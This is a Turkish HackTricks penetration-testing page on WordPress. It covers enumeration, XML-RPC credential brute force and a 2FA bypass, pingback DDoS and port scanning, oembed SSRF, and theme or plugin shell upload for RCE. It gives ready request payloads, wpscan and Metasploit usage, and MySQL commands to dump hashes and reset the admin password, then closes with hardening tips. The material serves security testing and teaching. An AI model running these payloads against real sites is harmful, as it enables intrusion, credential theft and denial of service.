23 KiB
Wordpress
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter'da 🐦 @hacktricks_live** takip edin.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
Temel Bilgiler
Yüklenen dosyalar şuraya gider: http://10.10.10.10/wp-content/uploads/2018/08/a.txt
Temalar dosyaları /wp-content/themes/ içinde bulunabilir, bu nedenle RCE elde etmek için temanın bazı php dosyalarını değiştirirseniz muhtemelen bu yolu kullanacaksınız. Örneğin: theme twentytwelve kullanarak 404.php dosyasına şuradan erişebilirsiniz: /wp-content/themes/twentytwelve/404.php
Başka bir yararlı url olabilir: /wp-content/themes/default/404.php
wp-config.php dosyasında veritabanının root şifresini bulabilirsiniz.
Kontrol edilecek varsayılan giriş yolları: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Ana WordPress Dosyaları
index.php
license.txt
WordPress'in kurulu sürümü gibi yararlı bilgiler içerir.wp-activate.php
yeni bir WordPress sitesi kurarken e-posta aktivasyon süreci için kullanılır.- Giriş klasörleri (gizlemek için yeniden adlandırılabilir):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
HTTP'nin taşıma mekanizması ve XML'nin kodlama mekanizması olarak işlev gördüğü WordPress'in bir özelliğini temsil eden bir dosyadır. Bu tür bir iletişim, WordPress REST API ile değiştirilmiştir.wp-content
klasörü, eklentilerin ve temaların saklandığı ana dizindir.wp-content/uploads/
Platforma yüklenen dosyaların saklandığı dizindir.wp-includes/
Sertifikalar, fontlar, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların saklandığı dizindir.wp-sitemap.xml
WordPress sürümleri 5.5 ve üzeri için, WordPress tüm kamuya açık gönderiler ve kamuya açık sorgulanabilir gönderi türleri ve taksonomiler ile bir harita XML dosyası oluşturur.
İstismar sonrası
wp-config.php
dosyası, WordPress'in veritabanına bağlanmak için ihtiyaç duyduğu verileri içerir; veritabanı adı, veritabanı sunucusu, kullanıcı adı ve şifre, kimlik doğrulama anahtarları ve tuzlar ile veritabanı tablo ön ekini içerir. Bu yapılandırma dosyası ayrıca DEBUG modunu etkinleştirmek için de kullanılabilir, bu da sorun gidermede yararlı olabilir.
Kullanıcı İzinleri
- Yönetici
- Editör: Kendi ve diğerlerinin gönderilerini yayınlar ve yönetir
- Yazar: Kendi gönderilerini yayınlar ve yönetir
- Katkıda Bulunan: Kendi gönderilerini yazar ve yönetir ancak yayınlayamaz
- Abone: Gönderileri tarar ve profilini düzenler
Pasif Sıralama
WordPress sürümünü öğrenin
/license.txt
veya /readme.html
dosyalarını bulup bulamayacağınıza bakın.
Sayfanın kaynak kodu içinde (örnek https://wordpress.org/support/article/pages/ adresinden):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- CSS bağlantı dosyaları
- JavaScript dosyaları
Eklentileri Alın
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Temaları Al
{% code overflow="wrap" %}
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Genel olarak sürümleri çıkarma
{% code overflow="wrap" %}
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
{% endcode %}
Dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturmak ve otomatikleştirmek için Trickest kullanın.
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
Aktif numaralandırma
Eklentiler ve Temalar
Tüm Eklentileri ve Temaları bulamayabilirsiniz. Hepsini keşfetmek için, Eklentiler ve Temalar listesini Aktif Brute Force yapmanız gerekecek (umarız ki bu listeleri içeren otomatik araçlar var).
Kullanıcılar
ID Brute
Bir WordPress sitesinden geçerli kullanıcıları, kullanıcı ID'lerini Brute Force yaparak elde edersiniz:
curl -s -I -X GET http://blog.example.com/?author=1
Eğer yanıtlar 200 veya 30X ise, bu id'nin geçerli olduğu anlamına gelir. Eğer yanıt 400 ise, o zaman id geçersizdir.
wp-json
Ayrıca kullanıcılar hakkında bilgi almak için sorgulama yapmayı deneyebilirsiniz:
curl http://blog.example.com/wp-json/wp/v2/users
Başka bir /wp-json/
uç noktası, kullanıcılar hakkında bazı bilgileri açığa çıkarabilir:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Not edin ki bu uç nokta yalnızca bir gönderi yapmış kullanıcıları açığa çıkarır. Bu özelliği etkinleştiren kullanıcılar hakkında yalnızca bilgi sağlanacaktır.
Ayrıca /wp-json/wp/v2/pages IP adreslerini sızdırabilir.
Giriş kullanıcı adı sayımı
/wp-login.php
'da giriş yaparken mesaj farklıdır eğer belirtilen kullanıcı adı mevcutsa veya değilse.
XML-RPC
Eğer xml-rpc.php
aktifse, kimlik bilgileri için bir brute-force saldırısı gerçekleştirebilir veya bunu diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu süreci otomatikleştirmek için bunu kullanabilirsiniz, örneğin).
Aktif olup olmadığını görmek için /xmlrpc.php adresine erişmeyi deneyin ve bu isteği gönderin:
Kontrol Et
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Kimlik Bilgileri Kaba Kuvvet
wp.getUserBlogs
, wp.getCategories
veya metaWeblog.getUsersBlogs
kimlik bilgilerini kaba kuvvetle kırmak için kullanılabilecek bazı yöntemlerdir. Eğer bunlardan herhangi birini bulursanız, şöyle bir şey gönderebilirsiniz:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Mesaj "Geçersiz kullanıcı adı veya şifre" 200 kodlu bir yanıt içinde, kimlik bilgileri geçerli değilse görünmelidir.
Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol görünecektir (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Ayrıca, aynı istekte birkaç kimlik bilgisi denemek için system.multicall
kullanarak kimlik bilgilerini zorlamak için daha hızlı bir yol vardır:
2FA'yı Atlatma
Bu yöntem programlar için tasarlanmıştır ve insanlar için değil, ayrıca eski olduğu için 2FA'yı desteklemez. Yani, geçerli kimlik bilgilerine sahipseniz ancak ana giriş 2FA ile korunuyorsa, bu kimlik bilgileriyle 2FA'yı atlayarak giriş yapmak için xmlrpc.php'yi kötüye kullanabilirsiniz. Konsoldan yapabileceğiniz tüm eylemleri gerçekleştiremeyeceğinizi unutmayın, ancak Ippsec'in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s adresinde açıkladığı gibi RCE'ye ulaşmanız hala mümkün olabilir.
DDoS veya port taraması
Eğer listede pingback.ping yöntemini bulursanız, Wordpress'in herhangi bir ana makine/port'a keyfi bir istek göndermesini sağlayabilirsiniz.
Bu, binlerce Wordpress sitesinin bir konuma erişmesini istemek için kullanılabilir (bu durumda o konumda bir DDoS meydana gelir) veya Wordpress'in bazı iç ağları taramasını sağlamak için kullanabilirsiniz (herhangi bir portu belirtebilirsiniz).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Eğer faultCode değeri 0'dan büyük (17) ise, bu portun açık olduğu anlamına gelir.
Bu yöntemi kötüye kullanarak DDoS oluşturmayı öğrenmek için önceki bölümdeki system.multicall
kullanımına bakın.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Bu dosya genellikle Wordpress sitesinin kökünde bulunur: /wp-cron.php
Bu dosya erişildiğinde " ağır " bir MySQL sorgusu gerçekleştirilir, bu nedenle saldırganlar tarafından bir DoS oluşturmak için kullanılabilir.
Ayrıca, varsayılan olarak, wp-cron.php
her sayfa yüklemesinde (bir istemci herhangi bir Wordpress sayfasını talep ettiğinde) çağrılır, bu da yüksek trafikli sitelerde sorunlara neden olabilir (DoS).
Wp-Cron'un devre dışı bırakılması ve gerekli eylemleri düzenli aralıklarla gerçekleştiren gerçek bir cronjob'un host içinde oluşturulması önerilir (sorun yaratmadan).
/wp-json/oembed/1.0/proxy - SSRF
https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net adresine erişmeyi deneyin ve Wordpress sitesi size bir istek yapabilir.
Bu çalışmadığında gelen yanıt:
SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
Bu araç, methodName: pingback.ping ve /wp-json/oembed/1.0/proxy yolunu kontrol eder ve eğer mevcutsa, bunları istismar etmeye çalışır.
Automatic Tools
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturmak ve otomatikleştirmek için Trickest kullanın.
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
Biraz üst üste yazarak erişim elde etme
Gerçek bir saldırıdan çok bir merak. CTF'de https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man herhangi bir wordpress dosyasından 1 biti değiştirebilirsiniz. Böylece /var/www/html/wp-includes/user.php
dosyasının 5389
konumunu NOP (!
) işlemini devre dışı bırakmak için değiştirebilirsiniz.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Kullanılan temadan bir php dosyasını değiştirme (admin kimlik bilgileri gerekli)
Görünüm → Tema Düzenleyici → 404 Şablonu (sağda)
Bir php shell için içeriği değiştirin:
Bu güncellenmiş sayfaya nasıl erişeceğinizi internette arayın. Bu durumda buraya erişmeniz gerekiyor: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Şunu kullanabilirsiniz:
use exploit/unix/webapp/wp_admin_shell_upload
to get a session.
Eklenti RCE
PHP eklentisi
Eklenti olarak .php dosyaları yüklemek mümkün olabilir.
Örneğin, php backdoor'unuzu oluşturun:
Sonra yeni bir eklenti ekleyin:
Eklentiyi yükleyin ve Şimdi Yükle'ye basın:
Devam'a tıklayın:
Muhtemelen bu görünüşte hiçbir şey yapmayacak, ama Medya'ya giderseniz, shell'inizin yüklendiğini göreceksiniz:
Erişin ve ters shell'i çalıştırmak için URL'yi göreceksiniz:
Kötü amaçlı eklentiyi yükleme ve etkinleştirme
Bu yöntem, bilinen bir zafiyete sahip kötü amaçlı bir eklentinin yüklenmesini içerir ve bir web shell elde etmek için istismar edilebilir. Bu süreç, WordPress kontrol paneli aracılığıyla aşağıdaki gibi gerçekleştirilir:
- Eklenti Edinme: Eklenti, Exploit DB gibi bir kaynaktan buradan edinilir.
- Eklenti Yükleme:
- WordPress kontrol paneline gidin, ardından
Kontrol Paneli > Eklentiler > Eklenti Yükle
seçeneğine gidin. - İndirilen eklentinin zip dosyasını yükleyin.
- Eklenti Etkinleştirme: Eklenti başarıyla yüklendikten sonra, kontrol paneli aracılığıyla etkinleştirilmelidir.
- İstismar:
- "reflex-gallery" eklentisi yüklü ve etkinleştirildiğinde, bilinen bir zafiyet olduğu için istismar edilebilir.
- Metasploit çerçevesi, bu zafiyet için bir istismar sağlar. Uygun modülü yükleyerek ve belirli komutları çalıştırarak, meterpreter oturumu kurulabilir ve siteye yetkisiz erişim sağlanabilir.
- Bunun, bir WordPress sitesini istismar etmenin birçok yolundan sadece biri olduğu belirtilmektedir.
İçerik, eklentiyi yükleme ve etkinleştirme adımlarını gösteren görsel yardımlar içermektedir. Ancak, bu şekilde zafiyetleri istismar etmenin yasal izin olmadan yasadışı ve etik dışı olduğunu belirtmek önemlidir. Bu bilgi, sorumlu bir şekilde ve yalnızca yasal bir bağlamda, açık izinle penetrasyon testi gibi kullanılmalıdır.
Daha ayrıntılı adımlar için kontrol edin: https://www.hackingarticles.in/wordpress-reverse-shell/**
İstismar Sonrası
Kullanıcı adlarını ve şifreleri çıkarın:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Admin şifresini değiştir:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Eklentileri Pentest
Saldırı Yüzeyi
Bir Wordpress eklentisinin işlevselliği nasıl açığa çıkarabileceğini bilmek, işlevselliğindeki zayıflıkları bulmak için anahtardır. Bir eklentinin işlevselliği nasıl açığa çıkarabileceğini aşağıdaki madde işaretlerinde ve bu blog yazısında bazı zayıf eklenti örneklerinde bulabilirsiniz.
wp_ajax
Bir eklentinin işlevleri kullanıcılara açığa çıkarmanın yollarından biri AJAX işleyicileri aracılığıyladır. Bunlar, mantık, yetkilendirme veya kimlik doğrulama hataları içerebilir. Ayrıca, bu işlevlerin genellikle hem kimlik doğrulama hem de yetkilendirmeyi, herhangi bir Wordpress örneğinde kimlik doğrulaması yapılmış bir kullanıcının sahip olabileceği bir Wordpress nonce'un varlığına dayandırması sık rastlanan bir durumdur (rolünden bağımsız olarak).
Bir eklentide bir işlevi açığa çıkarmak için kullanılabilecek işlevler şunlardır:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
nopriv
kullanımı, uç noktanın herhangi bir kullanıcı (hatta kimliği doğrulanmamış olanlar) tarafından erişilebilir olmasını sağlar.
{% hint style="danger" %}
Ayrıca, eğer fonksiyon sadece kullanıcının yetkilendirmesini wp_verify_nonce
fonksiyonu ile kontrol ediyorsa, bu fonksiyon genellikle kullanıcının giriş yapıp yapmadığını kontrol eder, kullanıcının rolünü kontrol etmez. Bu nedenle, düşük ayrıcalıklı kullanıcılar yüksek ayrıcalıklı eylemlere erişim sağlayabilir.
{% endhint %}
- REST API
register_rest_route
fonksiyonunu kullanarak wordpress'ten fonksiyonları bir rest AP ile açmak da mümkündür:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
permission_callback
, belirli bir kullanıcının API yöntemini çağırma yetkisine sahip olup olmadığını kontrol eden bir geri çağırma işlevidir.
Eğer yerleşik __return_true
işlevi kullanılıyorsa, kullanıcı izinleri kontrolü atlanacaktır.
- PHP dosyasına doğrudan erişim
Elbette, Wordpress PHP kullanır ve eklentiler içindeki dosyalar web üzerinden doğrudan erişilebilir. Bu nedenle, bir eklenti, dosyaya erişim sağlanarak tetiklenen herhangi bir savunmasız işlevsellik sunuyorsa, bu herhangi bir kullanıcı tarafından istismar edilebilir.
WordPress Koruması
Düzenli Güncellemeler
WordPress, eklentiler ve temaların güncel olduğundan emin olun. Ayrıca, wp-config.php dosyasında otomatik güncellemenin etkin olduğunu doğrulayın:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Ayrıca, sadece güvenilir WordPress eklentileri ve temaları yükleyin.
Güvenlik Eklentileri
Diğer Öneriler
- Varsayılan admin kullanıcısını kaldırın
- Güçlü şifreler ve 2FA kullanın
- Kullanıcı izinlerini periyodik olarak gözden geçirin
- Brute Force saldırılarını önlemek için giriş denemelerini sınırlayın
wp-admin.php
dosyasının adını değiştirin ve yalnızca dahili erişime veya belirli IP adreslerinden erişime izin verin.
Dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturmak ve otomatikleştirmek için Trickest kullanın.
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**
- Hacking ipuçlarını HackTricks ve HackTricks Cloud github reposuna PR göndererek paylaşın.